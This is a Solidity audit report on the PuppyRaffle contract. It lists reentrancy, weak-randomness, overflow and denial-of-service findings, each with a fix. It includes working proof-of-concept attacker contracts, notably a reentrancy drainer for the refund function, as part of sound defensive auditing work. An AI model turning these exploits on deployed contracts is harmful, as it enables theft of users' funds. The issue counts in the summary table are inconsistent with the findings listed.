zara thoustra

Protocol Audit Report

BOUCHNAFA SAMI

January 2, 2024

Puppy Raffle Audit Report

BOUCHNAFA SAMI

JANUARY 2, 2024

Puppy Raffle Audit Report

Prepared by: BOUCHNAFA SAMI Lead Auditor:

- BOUCHNAFA SAMI

Assisting Auditors:

- None

Table of contents

See table

About me

I am a highly passionate individual deeply invested in the realms of cybersecurity and blockchain. As a dedicated security researcher, my focus lies specifically in the intricate landscape of smart contracts. Beyond my research endeavors, I am enthusiastic about knowledge sharing and education. I channel this passion by crafting insightful articles on cybersecurity and blockchain topics, which I proudly publish on Medium. here is the link of my Medium page : Medium page

Disclaimer

I dedicated significant effort to uncover various vulnerabilities in the code within the specified time frame. However, it's important to note that the findings presented in this document do not imply any responsibility on my part. A security audit should not be interpreted as a validation or endorsement of the underlying business or product. It's essential to acknowledge that the audit was conducted within a specific time limit, focusing exclusively on assessing the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
-- PuppyRaffle.sol
```

Protocol Summary

Puppy Rafle is a protocol designed for raffling puppy NFTs of different rarities. A part of the entry fees goes to the winner, and a fee is collected by another address chosen by the protocol owner.

Roles

_ Owner: The sole individual with the authority to modify the feeAddress, identified by the *owner variable.* Fee User: The user receiving a portion of the raffle entrance fees, determined by the feeAddress variable. _ Raffle Entrant: Any individual participating in the raffle, recognized by being part of the players array.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	0
Info	8
Total	0

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allow entrants to steal the contract's balance

Description:

The `PuppyRaffle::refund` function deviates from CEI (checks, effects, interactions), allowing participants to drain the entire contract balance. Specifically, in the `PuppyRaffle::refund` function, an external call is made to the `msg.sender` address and the update to the `PuppyRaffle::players` array occurs only after this external call is made.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
    @>    payable(msg.sender).sendValue(entranceFee);
    @>    players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A participant entering the raffle might include malicious code in their `fallback()`/`receive` function, enabling them to repeatedly call the `PuppyRaffle::refund` function and claim additional refunds. This cycle could persist until the contract balance is completely depleted.

Impact:

The malicious participant has the potential to steal all fees paid by other raffle entrants.

Proof of Concept:

Here is a contract that resembles the behavior of a malicious participant. In this contract, both the `fallback()` and `receive()` functions invoke the `stealMoney()` function. This function, in turn, reenters the `PuppyRaffle::refund` function, creating a cycle that persists until the contract's balance is completely drained. Please include this contract in the `PuppyRaffleTest.t.sol` file.

```
contract Reentrency {
    PuppyRaffle target;
    uint enterenceFee;
    uint256 myIndex;
    constructor (PuppyRaffle _target) {
        target = _target;
        enterenceFee = target.entranceFee();

    }

    function attack() payable public {
        address[] memory players = new address[](1);
        players[0]=address(this); //players = ["address of this contract"]
        target.enterRaffle{value :enterenceFee}(players);
        myIndex = target.getActivePlayerIndex(address(this));
        target.refund(myIndex);
    }

    function _stealMoney() internal {
         if (address(target).balance >= enterenceFee ) {
            target.refund(myIndex) ;
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Add a test function in the `PuppyRaffleTest.t.sol` file to verify the described behavior. .

```
    function test_Reentrency_Refund() public {

        address[] memory players = new address[](3);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = address(3);
        puppyRaffle.enterRaffle{value: entranceFee * 3}(players);

        Reentrency hacker_ca = new Reentrency(puppyRaffle);
        address hacker = makeAddr("hacker");
        vm.deal(hacker, 1 ether);

        uint256 hacker_ca_balance_t0 =payable(address(hacker_ca)).
            balance;
        uint256 puppy_balance_t0 = payable(address(puppyRaffle)).
            balance;

        vm.prank(hacker);
        hacker_ca.attack{value : entranceFee}();

        console.log("Starting balance of hacker " ,
            hacker_ca_balance_t0 );
        console.log("Starting balance of puppy contract " ,
            puppy_balance_t0 );

        console.log("ending balance of hacker " ,address(hacker_ca).
            balance );
        console.log("ending balance of puppy contract " ,address(
            puppyRaffle).balance );





    }
```

Execute the test using the following command:

```
forge test --mt test_Reentrency_Refund -vvv
```

Recommended Mitigation:

In the `PuppyRaffle::refund` function, it is advisable to adjust the logic by updating the `players` array before initiating the external call. Additionally, consider moving the event emission up in the function.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] weak randomness in the `PuppyRaffle::selectWinner` function permits anyone to influence the selection of the winner.

Description:

Combining `msg.sender`, `block.timestamp`, and `block.difficulty` in a hash results in a predictable final number. Predictable numbers are not ideal for randomness. Malicious users can manipulate or pre-determine these values, allowing them to choose the raffle winner themselves.

Impact:

Any user has the capability to select the winner of the raffle, securing the funds and determining the "rarest" puppy. This essentially results in all puppies having the same rarity, as users can manipulate the selection of the chosen puppy.

Proof of Concept:

Several attack vectors are present in this scenario.

1. Validators may be able to predict `block.timestamp` and `block.difficulty` in advance, using this knowledge to anticipate when/how to participate. The Solidity blog on prevrando provides insights, and it's worth noting that `block.difficulty` has recently been replaced with `prevrandao`.
2. Users can manipulate the `msg.sender` value to influence their index, increasing their chances of becoming the winner.

Using on-chain values as a seed for randomness is a well-documented attack vector in the blockchain space.

Recommended Mitigation:

You might want to contemplate integrating an oracle for randomness, such as Chainlink VRF. This could enhance the unpredictability and security of your random number generation in the contract.

[H-3] The PuppyRaffle::totalFees is susceptible to integer overflow, leading to the loss of fees.

Description:

Before Solidity version `0.8.0`, integers were vulnerable to integer overflows.

```
uint64 Variable = type(uint64).max;
// Variable will be 18446744073709551615
Variable +=  + 1;
// myVar will be 0 (cycled)
```

Impact:

Certainly, here's a rephrased version:

1. Let's say we complete a raffle involving 4 players to collect some fees.
2. Subsequently, we have 89 more players participate in a new raffle, and we conclude that one as well.
3. The computation for `totalFees` is as follows:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the updated value is now
totalFees = 153255926290448384;
```

4. Unfortunately, you won't be able to withdraw due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently active players!");
```

This is because, evidently, the contract's balance differs from the `totalFees`. While using `selfdestruct` could align the values for withdrawal, it clearly goes against the intended protocol behavior.

Proof Of Code

Place this into the `PuppyRaffleTest.t.sol` file.

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation:

Here are some suggested mitigations:

1. Consider updating to a newer version of Solidity that inherently prevents integer overflows.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you opt to use an older Solidity version, implement a library like OpenZeppelin's `SafeMath` to safeguard against integer overflows.

2. Utilize a `uint256` instead of a `uint64` for `totalFees`.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`.

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently active players!");
```

It's crucial to note an additional attack vector arising from this line, which will be addressed in a future finding.

[H-4] Malicious winner can halt the raffle forever

Description:

After the winner is determined, the `selectWinner` function transfers the prize to the respective address using an external call to the winner's account:

```
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

However, if the `winner` account is a smart contract lacking a payable `fallback` or `receive` function, or these functions exist but revert, the external call mentioned above will fail, resulting in the `selectWinner` function's termination. Consequently, the prize remains undistributed, and the raffle cannot initiate a new round.

An additional attack vector involves exploiting the fact that the `selectWinner` function, which mints an NFT to the winner, utilizes the `_safeMint` function inherited from the `ERC721` contract. This function attempts to invoke the `onERC721Received` hook on the receiver in the case of a smart contract. However, if the receiver does not implement this function, the call reverts.

Hence, an attacker can enter a smart contract into the raffle lacking the expected `onERC721Received` hook. This prevents NFT minting, leading to the reversal of the `selectWinner` call and effectively halting the raffle.

Impact:

the raffle would be halted forever.

Proof of Concept:

Proof Of Code

Place the following test into `PuppyRaffleTest.t.sol`.

```
function testSelectWinnerDoS() public {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    address[] memory players = new address[](4);
    players[0] = address(new hacker());
    players[1] = address(new hacker());
    players[2] = address(new hacker());
    players[3] = address(new hacker());
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    vm.expectRevert();
    puppyRaffle.selectWinner();
}
```

the `hacker` can be this:

```
contract hacker {
    // Implements a `receive` function that reverts
    receive() external payable {
        revert();
    }
}
```

Or this:

```
contract hacker {
// Implements a `receive` function to accept the prize but lacks the
    implementation of the `onERC721Received` hook to receive the NFT.
    receive() external payable {}
}
```

Recommended Mitigation:

Prefer pull-payments over push-payments. To achieve this, consider adjusting the `selectWinner` function so that the winner account needs to claim the prize by making a function call, as opposed to having the contract automatically sending the funds during the execution of `selectWinner`.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants .

Description:

The `enterRaffle` function is susceptible to a Denial of Service (DoS) attack because of an inefficient duplicate-checking mechanism. As the array size expands, each new player introduces additional checks, leading to an increase in gas costs proportional to the number of players participating in the raffle.

Impact:

This vulnerability has the potential to cause a notable surge in gas consumption, which could lead to a Denial of Service (DoS) scenario.

Proof of Concept:

If we have 2 sets of 100 players enter the raffle : the gas cost for the first set : 6252039 gas the gas cost for the first set : 18068129 gas* (This is more tha x3 more than the fisrt)

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
function testDos() public {
        vm.txGasPrice(1);

        address[] memory players = new address[](100);
        for (uint i=0 ; i < 100 ; i++) {
             players[i] = address(uint160(i));
        }

        uint gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * 100}(players);
        uint gasEnd = gasleft();
        uint gasUsed = gasStart - gasEnd;
        console.log("gas Usedin the first hand is :" , gasUsed);


        address[] memory players2 = new address[](100);
        for (uint i=0 ; i < 100 ; i++) {
             players2[i] = address(uint160(i+100));
        }

        uint gasStart2 = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * 100}(players2);
        uint gasEnd2 = gasleft();
        uint gasUsed2 = gasStart2 - gasEnd2;
        console.log("gas Used in hte second hand is :" , gasUsed2);





    }
```

Run the test using this command :

```
forge test --mt testDos -vv
```

Recommended Mitigation:

There are few recommendations : 1. Consider allowing duplicates . Users can make multiple wallets anyway , restricting duplicates doesn't prevent someone from entering more than a time . 2. Consider using a mapping to check for duplicates

[M-2] The balance check in `PuppyRaffle::withdrawFees` provides an avenue for griefers to exploit the selfdestruct function. This allows them to direct ETH to the raffle, subsequently obstructing withdrawals.

Description:

The `PuppyRaffle::withdrawFees` function verifies that `totalFees` matches the ETH balance of the contract (`address(this).balance`). While it might seem improbable due to the absence of a `payable` fallback or `receive` function, a user has the potential to use `selfdestruct` on a contract containing ETH. This action forces the funds into the `PuppyRaffle` contract, consequently circumventing the integrity of this check.

```
    function withdrawFees() external {
@>      require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact:

This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 3 ether in it's balance, and 3 ether totalFees.

2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation:

Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description:

In `PuppyRaffle::selectWinner`, there is a type cast from `uint256` to `uint64`. This is considered an unsafe cast, and if the `uint256` value exceeds `type(uint64).max`, the value will be truncated during the conversion.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle"
           );

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
           sender, block.timestamp, block.difficulty))) % players.
           length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The maximum value of a `uint64` is `18446744073709551615`, which equates to approximately ~18 ETH. Consequently, if the fees collected surpass 18 ETH, the casting of `fee` in the `selectWinner` function will truncate the value.

Impact:

This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation:

Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and eliminate the casting. A comment suggests:

```
// We do some storage packing to save gas
```

However, the potential gas savings are outweighed by the need to recast, considering the presence of this bug.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
               timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-4] Smart Contract Wallet Raffle Winners Blocking New Contest Start

Description:

The `PuppyRaffle::selectWinner` function, responsible for resetting the lottery, encounters issues if the winner is a smart contract wallet rejecting payment. This scenario obstructs the restart of the lottery.

Impact:

The function may revert multiple times, impeding the lottery reset and hindering the commencement of a new one. Additionally, authentic winners might be unable to receive their payouts, allowing someone else to claim their winnings.

Proof of Concept:

1. 10 smart contract wallets without a fallback or receive function enter the lottery.
2. The lottery concludes.
3. The `selectWinner` function encounters difficulties, despite the lottery completion.

Recommended Mitigation:

1. Avoid smart contract wallet entrants (not recommended).
2. Implement a mapping of addresses to payouts, allowing winners to claim their prizes, placing the responsibility on the winners for payout retrieval (recommended).

Informational / Non-Critical

[I-1] Pragma Versioning

Description:

Contracts should use strict versions of Solidity. Locking the version ensures that contracts are not deployed with a different version of Solidity than they were tested with. An incorrect version could lead to unintended results.

SWC-103

Recommended Mitigation:

Specify a fixed pragma version.

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.7.6;
```

[I-2] Magic Numbers

Description:

Replace all number literals with constants to enhance code readability and maintainability. Numbers without context are referred to as “magic numbers.”

Recommended Mitigation:

Replace magic numbers with constants.

```
+       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+       uint256 public constant FEE_PERCENTAGE = 20;
+       uint256 public constant TOTAL_PERCENTAGE = 100;
.
.
.
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
         uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
         uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / TOTAL_PERCENTAGE;
```

[I-3] Test Coverage

Description:

Test coverage is below 90%, especially in the `Branches` column.

```
| File                                | % Lines        | % Statements   | % Branches     | % Funcs       |
| ----------------------------------- | -------------- | -------------- | -------------- | ------------- |
| script/DeployPuppyRaffle.sol        | 0.00% (0/3)    | 0.00% (0/4)    | 100.00% (0/0)  | 0.00% (0/1)   |
| src/PuppyRaffle.sol                 | 82.46% (47/57) | 83.75% (67/80) | 66.67% (20/30) | 77.78% (7/9)  |
| test/auditTests/ProofOfCodes.t.sol  | 100.00% (7/7)  | 100.00% (8/8)  | 50.00% (1/2)   | 100.00% (2/2) |
| Total                               | 80.60% (54/67) | 81.52% (75/92) | 65.62% (21/32) | 75.00% (9/12) |
```

Recommended Mitigation:

Increase test coverage to 90% or higher, particularly for the `Branches` column.

[I-4] Zero Address Validation

Description:

The `PuppyRaffle` contract does not validate that the `feeAddress` is not the zero address, allowing fees to be lost.

```
PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/
    PuppyRaffle.sol#57) lacks a zero-check on :
                - feeAddress = _feeAddress (src/PuppyRaffle.sol#59)
PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.
    sol#165) lacks a zero-check on :
                - feeAddress = newFeeAddress (src/PuppyRaffle.sol#166)
```

Recommended Mitigation:

Add a zero address check when updating the `feeAddress`.

[I-5] Unused Function `_isActivePlayer`

Description:

The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

[I-6] Unchanged Variables Should Be Constant or Immutable

Constant Instances:

```
PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant
PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be
    constant
PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable Instances:

```
PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```

[I-7] Potentially Erroneous Active Player Index

Description:

The `getActivePlayerIndex` function could return zero for an active address stored in the first slot of the `players` array. This may cause confusion for users querying the function to obtain the index of an active player

.

Recommended Mitigation:

Return a sufficiently high number (e.g., 2**256-1) to signal that the given player is inactive, avoiding collision with indices of active players.

[I-8] Zero Address May Be Erroneously Considered an Active Player

Description:

The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. However, the `getActivePlayerIndex` function does not skip zero addresses when iterating the `players` array, potentially leading to erroneous considerations.

Recommended Mitigation:

Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Additionally, prevent the zero address from being registered as a valid player in the `enterRaffle` function.

Gas (Optional)

// TODO

- `getActivePlayerIndex` returning 0. Is it the player at index 0? Or is it invalid.
- MEV with the refund function.
- MEV with `withdrawFees`
- Randomness for rarity issue
- Reentrancy in `PuppyRaffle` before `safeMint` (it looks okay actually, potentially informational)